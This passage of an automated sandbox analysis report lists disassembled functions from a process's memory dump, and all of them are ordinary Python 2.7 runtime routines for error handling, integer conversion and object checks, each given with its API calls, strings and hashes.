Part of subcall function 6C1B5BD0: Py_FatalError.PYTHON27(can't initialize codec registry), ref: 6C1B5CEA
Part of subcall function 6C1B5BD0: _PyImport_AcquireLock.PYTHON27 ref: 6C1B5CF2
Part of subcall function 6C1B5BD0: _PyImport_ReleaseLock.PYTHON27 ref: 6C1B5D0C

PyDict_SetItemString.PYTHON27(?,?,6C1B5CA0,00000000), ref: 6C1B5186

Strings

handler must be callable, xrefs: 6C1B5168

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Error$Fatal$Dict_$Import_LockString$AcquireCallable_CheckCodec_Err_Function_ItemRegisterRelease
String ID: handler must be callable
API String ID: 132696288-2788139689
Opcode ID: 75fa1b47f5e2584b9a2ab20ed93176c4e6b31faadeabe68979898d96a5232b13
Instruction ID: 9fa734042830b6608874cb6c608104860b41b47f5ec257b4234a00a92140298f
Opcode Fuzzy Hash: 75fa1b47f5e2584b9a2ab20ed93176c4e6b31faadeabe68979898d96a5232b13
Instruction Fuzzy Hash: F0F0BB7761020867DA0097ADFC00DA773AC9B9637CF184626F92C97B91E731F45486D1

Function 6C15D810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PyLong_AsLongAndOverflow.PYTHON27(6C1571C0,?,?,00000000,?,?,?,6C1571C0,00000000,?,00000000), ref: 6C15D823

Part of subcall function 6C15D640: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\longobject.c,000000F4), ref: 6C15D67A

PyString_FromString.PYTHON27(Python int too large to convert to C long), ref: 6C15D83F
PyErr_SetObject.PYTHON27(6C2E63F8,00000000,?,6C1571C0,00000000,?,00000000), ref: 6C15D84B

Strings

Python int too large to convert to C long, xrefs: 6C15D83A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatFromLongLong_ObjectOverflowStringString_
String ID: Python int too large to convert to C long
API String ID: 2904087310-1537553212
Opcode ID: 7a8c4e56523409a8bc5a94e4a2a4fc4096f7b9fe0003801a17d4665b58fff84a
Instruction ID: 3bad61772ad4eb21e06e58628daf2ae7180a510afe94407260f98d40f22c16bd
Opcode Fuzzy Hash: 7a8c4e56523409a8bc5a94e4a2a4fc4096f7b9fe0003801a17d4665b58fff84a
Instruction Fuzzy Hash: E4F0F6F7A051046BD6109A96AC449A773ACDB55238F104328FD7C83780E731ED25C7E3

Function 6C15D880 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PyLong_AsLongAndOverflow.PYTHON27(6C15046B,?,-000000FF,00000000,6C15046B,00000000), ref: 6C15D894

Part of subcall function 6C15D640: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\longobject.c,000000F4), ref: 6C15D67A

PyString_FromString.PYTHON27(Python int too large to convert to C int), ref: 6C15D8B9
PyErr_SetObject.PYTHON27(6C2E63F8,00000000,?,-000000FF,00000000,6C15046B,00000000), ref: 6C15D8C5

Strings

Python int too large to convert to C int, xrefs: 6C15D8B4

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_$FormatFromLongLong_ObjectOverflowStringString_
String ID: Python int too large to convert to C int
API String ID: 2904087310-2521127726
Opcode ID: f203cb1bfb44fc21c5c2f8aaac1e96ce641bb7fa13fbce6c4273a57210d272ba
Instruction ID: 5255851e5e62dc4fd81e363249829edb509b1cc7aa5ca36d325d78c6b79e42f0
Opcode Fuzzy Hash: f203cb1bfb44fc21c5c2f8aaac1e96ce641bb7fa13fbce6c4273a57210d272ba
Instruction Fuzzy Hash: C2F0C8B7D005045FC610A969AD05A9A3368DB51338F544728FC79576D0EB34E929CBD2

Function 6C143EB0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(00000010), ref: 6C143EBE
Py_FatalError.PYTHON27(GC object already tracked), ref: 6C143EF7

Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E1440
Part of subcall function 6C1E1420: fprintf.MSVCR90 ref: 6C1E1446
Part of subcall function 6C1E1420: __iob_func.MSVCR90 ref: 6C1E144C
Part of subcall function 6C1E1420: fflush.MSVCR90 ref: 6C1E1452
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(Fatal Python error: ), ref: 6C1E1499
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32 ref: 6C1E149C
Part of subcall function 6C1E1420: OutputDebugStringW.KERNEL32(6C2B3AD4), ref: 6C1E14A3
Part of subcall function 6C1E1420: abort.MSVCR90 ref: 6C1E14A5

Strings

P&0l, xrefs: 6C143F0C, 6C143F15, 6C143F1D
GC object already tracked, xrefs: 6C143EF2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: DebugOutputString$__iob_func$ErrorFatalMallocObject_abortfflushfprintf
String ID: GC object already tracked$P&0l
API String ID: 872466363-2850754575
Opcode ID: 1a654e440e857e152ba41866ba62dcfb3b2558664c17bdd30dd19375a423dbc5
Instruction ID: 4b5723661bbf371d4128f51d718edeed0227837cbc6810e4a5042a289e55297c
Opcode Fuzzy Hash: 1a654e440e857e152ba41866ba62dcfb3b2558664c17bdd30dd19375a423dbc5
Instruction Fuzzy Hash: 7C01DFB2601B199FC7208F09C505546F7F8FB4A320B10866AE87997B90D770A486CBC0

Function 6C12D470 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12D490

Strings

null argument to internal routine, xrefs: 6C12D48A
bad operand type for unary -: '%.200s', xrefs: 6C12D4BE

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: bad operand type for unary -: '%.200s'$null argument to internal routine
API String ID: 1450464846-3866959385
Opcode ID: 831df23063d1623baeed8a2d258f0c7cd96df9175f87c48efd03a499d6ecc9f8
Instruction ID: c60ff67c782160bcc4442ab5fc8cda7b6fac876448afe297423fc4c75e432b50
Opcode Fuzzy Hash: 831df23063d1623baeed8a2d258f0c7cd96df9175f87c48efd03a499d6ecc9f8
Instruction Fuzzy Hash: F9F0BB78B101055BD704DE71ED44D1273B9EF94618714C958EC0C87F01FA39F951DB54

Function 6C12D4D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12D4F0

Strings

null argument to internal routine, xrefs: 6C12D4EA
bad operand type for unary +: '%.200s', xrefs: 6C12D51E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: bad operand type for unary +: '%.200s'$null argument to internal routine
API String ID: 1450464846-2582373171
Opcode ID: c74846a285f9fe69067ce2b1f324675b7275f15951d2b6dd4b7930c8d704205d
Instruction ID: ef53356bd05634b07216dbdd357de3817c564f69e453cf5a73a0cfcb4e50543a
Opcode Fuzzy Hash: c74846a285f9fe69067ce2b1f324675b7275f15951d2b6dd4b7930c8d704205d
Instruction Fuzzy Hash: DBF0B4B9B102059BDB00DBB5ED84D1233B9AB9461C7188568EC0C8BB01EA3AE991DA50

Function 6C12D530 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12D550

Strings

bad operand type for unary ~: '%.200s', xrefs: 6C12D57E
null argument to internal routine, xrefs: 6C12D54A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: bad operand type for unary ~: '%.200s'$null argument to internal routine
API String ID: 1450464846-122179322
Opcode ID: 6dce58faf542388200fd279cf787e839e8ba9dde89023b50089f2e673b1dd24a
Instruction ID: 47ba7e79381fb7b361141cb5d38026194cc0870811a3aa870931a3f7dfb39c5e
Opcode Fuzzy Hash: 6dce58faf542388200fd279cf787e839e8ba9dde89023b50089f2e673b1dd24a
Instruction Fuzzy Hash: A7F0E0B9B101059BD704DB75ED44D1633B9EF9431C724C558EC0CC7B01E635F891DA94

Function 6C12D590 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12D5B0

Strings

null argument to internal routine, xrefs: 6C12D5AA
bad operand type for abs(): '%.200s', xrefs: 6C12D5DE

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: bad operand type for abs(): '%.200s'$null argument to internal routine
API String ID: 1450464846-3968165083
Opcode ID: 98ff50df53aff32635e58c5cd41f17fcfc442a610e2e2247237585b0ac6993e4
Instruction ID: e2cc806386ed4e0f474ec2aa143708ea3f01a0fb6f734ef8505e4065f977b295
Opcode Fuzzy Hash: 98ff50df53aff32635e58c5cd41f17fcfc442a610e2e2247237585b0ac6993e4
Instruction Fuzzy Hash: BFF0BB787101059BD700DB71ED44D1233B9AB9421C7148558EC0C87B01EA35E851DA54

Function 6C12EE70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine,?,6C12B11B,?), ref: 6C12EE90

Strings

object of type '%.200s' has no len(), xrefs: 6C12EEBE
null argument to internal routine, xrefs: 6C12EE8A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: null argument to internal routine$object of type '%.200s' has no len()
API String ID: 1450464846-3626758343
Opcode ID: 38f7d980abf746408087235e4929891399f29ce8346d0423dbb358faea6a6317
Instruction ID: ce6c2a0197c78dae15618494de83fe52800dd682e244f54bf2e87c96f90a2734
Opcode Fuzzy Hash: 38f7d980abf746408087235e4929891399f29ce8346d0423dbb358faea6a6317
Instruction Fuzzy Hash: F9F0BB79B001055BDB00CA75ED84D1633B9AF953387288B58FC2C8BBC0EB35E991DAD0

Function 6C12DF70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine), ref: 6C12DF90

Strings

object of type '%.200s' has no len(), xrefs: 6C12DFBE
null argument to internal routine, xrefs: 6C12DF8A

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: null argument to internal routine$object of type '%.200s' has no len()
API String ID: 1450464846-3626758343
Opcode ID: 221d74a1bfe926832836924b00137c5342c638d1cc87c2246c7b3331c6703115
Instruction ID: 50395bc9b89c4187905b370e01ff65bccf0466f59fcc810c7c0c222774ca3d5b
Opcode Fuzzy Hash: 221d74a1bfe926832836924b00137c5342c638d1cc87c2246c7b3331c6703115
Instruction Fuzzy Hash: C6F0BB79B001055BD700DA75ED84D1573B99F943387288B58FC2C8BBC0EB39E891DB94

Function 6C16BD00 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(?,?), ref: 6C16BD21
PyType_IsSubtype.PYTHON27(?,?), ref: 6C16BD33
_PyErr_BadInternalCall.PYTHON27(..\Objects\setobject.c,000008F0), ref: 6C16BD49

Part of subcall function 6C1C0890: PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,?,6C16BD4E,?,6C16BD4E,..\Objects\setobject.c,000008F0), ref: 6C1C08AA

Strings

..\Objects\setobject.c, xrefs: 6C16BD44

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_SubtypeType_$CallFormatInternal
String ID: ..\Objects\setobject.c
API String ID: 3748510839-1817486985
Opcode ID: 5d1e3e5216d27309a3f4f1192e32691b035f990dfeec48421a00018f7f30d8ec
Instruction ID: 6ba0014b5f30f9ea76533dc99daa947553b704f081ec66fbe582c42fb606445d
Opcode Fuzzy Hash: 5d1e3e5216d27309a3f4f1192e32691b035f990dfeec48421a00018f7f30d8ec
Instruction Fuzzy Hash: 41F0E527A80159228900125FFC01ADAF3184E712BFB0A8271FE2CAAF51F752F43841EA

Function 6C0B8DE0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(00000000,'%c' format requires 0 <= number <= %zu), ref: 6C0B8E0D
PyErr_Format.PYTHON27(00000000,'%c' format requires %zd <= number <= %zd), ref: 6C0B8E2F

Strings

'%c' format requires 0 <= number <= %zu, xrefs: 6C0B8E07
'%c' format requires %zd <= number <= %zd, xrefs: 6C0B8E29

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: '%c' format requires %zd <= number <= %zd$'%c' format requires 0 <= number <= %zu
API String ID: 376477240-2382652346
Opcode ID: 6ba2531f45f095c79475fec793f162b3ec6f82d17e018e55397093ae35ae0e4e
Instruction ID: f878b6389a172b4c881425c10d3bb22e4bc6318686ff955c1119619fef3ba8c4
Opcode Fuzzy Hash: 6ba2531f45f095c79475fec793f162b3ec6f82d17e018e55397093ae35ae0e4e
Instruction Fuzzy Hash: 96F027F59100882BEA0C967D9C61B7E37AC8B15334F04875CB938C5AC1DA29C551C6A0

Function 6C16BE70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(?,?), ref: 6C16BE8B
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\setobject.c,0000090E), ref: 6C16BEAC

Strings

..\Objects\setobject.c, xrefs: 6C16BEA1
%s:%d: bad argument to internal function, xrefs: 6C16BEA6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FormatSubtypeType_
String ID: %s:%d: bad argument to internal function$..\Objects\setobject.c
API String ID: 2789853835-1012936799
Opcode ID: 36a7da707885e2a7ad8a885b22b2aaa9bfbbae6b09be6c029a2c415bacee7f70
Instruction ID: 73413a6d8b69c8647cc3f03363225e7271f68957088fab7493e4859760008e01
Opcode Fuzzy Hash: 36a7da707885e2a7ad8a885b22b2aaa9bfbbae6b09be6c029a2c415bacee7f70
Instruction Fuzzy Hash: 8CF0E56AA4410C23CA0056AEBD0299A335C8756279F148B66FD3CE7F81EB21F96087E5

Function 6C12DD60 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

Strings

2.l, xrefs: 6C12DE28

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID:
String ID: 2.l
API String ID: 0-1135809751
Opcode ID: bbb7a5bf35b2c2da8c2d5aeccaa087e7a8e8b22b295c0bb0660dba10d5ef7653
Instruction ID: a54720d9047515cc856924e139454ff5897e1b662b3ac937e2fec47357d11220
Opcode Fuzzy Hash: bbb7a5bf35b2c2da8c2d5aeccaa087e7a8e8b22b295c0bb0660dba10d5ef7653
Instruction Fuzzy Hash: 9FF05CA7900608038710352AEC02A9633AC9F2069DF80477DDC94ABF40FB22ED69C2E6

Function 6C16BD60 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(?,?), ref: 6C16BD7B
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\setobject.c,000008FA), ref: 6C16BD9C

Strings

..\Objects\setobject.c, xrefs: 6C16BD91
%s:%d: bad argument to internal function, xrefs: 6C16BD96

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FormatSubtypeType_
String ID: %s:%d: bad argument to internal function$..\Objects\setobject.c
API String ID: 2789853835-1012936799
Opcode ID: 386e0e0d9a48083e14e5e1e4a4e71137597cb19f09d113f3b84cab19154a3d89
Instruction ID: b4561593618b74c06ba6679555bc237303ae1195b4ef1391fe5f6fa72ef855d6
